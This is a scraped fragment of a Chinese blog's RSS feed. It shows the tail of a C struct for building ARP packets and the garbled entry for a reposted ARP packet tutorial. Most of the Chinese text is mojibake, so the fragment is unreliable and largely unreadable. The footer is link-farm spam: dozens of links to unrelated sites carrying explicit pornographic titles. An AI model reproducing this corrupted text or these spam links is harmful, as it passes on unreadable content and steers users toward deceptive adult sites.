1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">{<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> </span> <span style="mso-tab-count: 1">聽聽聽聽 </span>DLCHEADER<span style="mso-tab-count: 2">聽聽聽聽 </span>dlcHeader;<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> </span> <span style="mso-tab-count: 1">聽聽聽聽 </span>ARPFRAME<span style="mso-tab-count: 2">聽聽聽聽聽 </span>arpFrame;<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; mso-para-margin-left: 1.71gd"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">} ARPPACKET, *PARPPACKET;</span> <span lang="EN-US" style="FONT-SIZE: 9pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd"> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 鏂板畫浣? mso-ansi-language: ZH-CN"> <o:p>聽</o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt; mso-char-indent-count: 2.0; mso-layout-grid-align: none"> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 鏂板畫浣? mso-ansi-language: ZH-CN">榪欎簺緇撴瀯浣撲竴瀹氳兘鐪嬫噦鍚?/span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 鏂板畫浣?>錛?/span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 鏂板畫浣? mso-ansi-language: ZH-CN">鍦ㄧ▼搴忎腑灝辨槸瀵瑰彿鍏ュ駭灝卞ソ浜?/span> </p> </div> <img src ="http://www.tkk7.com/yczz/aggbug/100055.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">椋為笩</a> 2007-02-16 15:41 <a href="http://www.tkk7.com/yczz/articles/100055.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>錛堣漿錛夋墜鎶婃墜鏁欎綘鐜╄漿ARP鍖咃紙涓錛夈愭暟鎹寘鐨勬父鎴忕郴鍒椾箣涓銆?/title><link>http://www.tkk7.com/yczz/articles/100054.html</link><dc:creator>椋為笩</dc:creator><author>椋為笩</author><pubDate>Fri, 16 Feb 2007 07:39:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100054.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100054.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100054.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100054.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100054.html</trackback:ping><description><![CDATA[     鎽樿: 鍓? 聽聽 璦 ...  <a href='http://www.tkk7.com/yczz/articles/100054.html'>闃呰鍏ㄦ枃</a><img src ="http://www.tkk7.com/yczz/aggbug/100054.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">椋為笩</a> 2007-02-16 15:39 <a href="http://www.tkk7.com/yczz/articles/100054.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>感谢您访问我们的网站,您可能还对以下资源感兴趣:</p> <a href="http://www.tkk7.com/" title="亚洲av成人片在线观看">亚洲av成人片在线观看</a> <div class="friend-links"> </div> </div> </footer> 主站蜘蛛池模板: <a href="http://831055.com" target="_blank">又硬又粗又长又爽免费看</a>| <a href="http://wwwhaole10.com" target="_blank">亚洲av福利无码无一区二区 </a>| <a href="http://my94ok.com" target="_blank">农村寡妇一级毛片免费看视频</a>| <a href="http://badabg.com" target="_blank">亚洲中文字幕久久精品无码VA</a>| <a href="http://tj-zhongfa.com" target="_blank">亚洲va久久久久</a>| <a href="http://aaaaa123.com" target="_blank">亚洲中文字幕久久精品无码VA</a>| <a href="http://mtspvip.com" target="_blank">亚洲色大情网站www</a>| <a href="http://littlevv.com" target="_blank">亚洲av中文无码字幕色不卡</a>| <a href="http://747767.com" target="_blank">精品亚洲av无码一区二区柚蜜</a>| <a href="http://doubiseo.com" target="_blank">亚洲老熟女五十路老熟女bbw</a>| <a href="http://3baimm.com" target="_blank">亚洲精品无码不卡在线播放</a>| <a href="http://hssw1688.com" target="_blank">久久精品国产亚洲av天美18</a>| <a href="http://bzzxyp.com" target="_blank">国产亚洲综合一区二区三区</a>| <a href="http://youtobey.com" target="_blank">久久久久久亚洲av无码蜜芽</a>| <a href="http://dstbxg.com" target="_blank">曰韩无码AV片免费播放不卡 </a>| <a href="http://milbolg.com" target="_blank">亚洲性色精品一区二区在线</a>| <a href="http://ywjh666.com" target="_blank">亚洲第一成年网站视频</a>| <a href="http://xzzkf.com" target="_blank">国产亚洲精品91</a>| <a href="http://01shanzhai.com" target="_blank">一级做性色a爰片久久毛片免费</a>| <a href="http://x3013.com" target="_blank">三上悠亚电影全集免费</a>| <a href="http://05942688.com" target="_blank">久久精品无码专区免费青青</a>| <a href="http://66keke.com" target="_blank">国产精品怡红院永久免费</a>| <a href="http://shyangpuks.com" target="_blank">在线天堂免费观看.WWW</a>| <a href="http://dou18.com" target="_blank">国产成人高清精品免费软件</a>| <a href="http://8izh.com" target="_blank">亚洲午夜无码AV毛片久久</a>| <a href="http://sxhnyl.com" target="_blank">久久久青草青青亚洲国产免观 </a>| <a href="http://ningxialanh.com" target="_blank">国产成人亚洲精品影院</a>| <a href="http://3688008.com" target="_blank">亚洲va无码专区国产乱码</a>| <a href="http://xjywater.com" target="_blank">亚洲国产成人超福利久久精品</a>| <a href="http://imfever.com" target="_blank">亚洲首页国产精品丝袜</a>| <a href="http://wxbhnkyy39.com" target="_blank">精品免费AV一区二区三区</a>| <a href="http://zgfxshop.com" target="_blank">三级黄色免费观看</a>| <a href="http://jiezinet.com" target="_blank">3344免费播放观看视频</a>| <a href="http://haiwaizhuyun.com" target="_blank">在线免费观看视频你懂的</a>| <a href="http://www-gogo.com" target="_blank">国产日产亚洲系列最新</a>| <a href="http://1897tao.com" target="_blank">亚洲一区二区电影</a>| <a href="http://hs718.com" target="_blank">亚洲av无码专区在线观看亚 </a>| <a href="http://aplus178.com" target="_blank">亚洲精品中文字幕</a>| <a href="http://pencilinside.com" target="_blank">igao激情在线视频免费</a>| <a href="http://9844555.com" target="_blank">久久久久久国产精品免费无码</a>| <a href="http://wwwly6080.com" target="_blank">免费看www视频</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>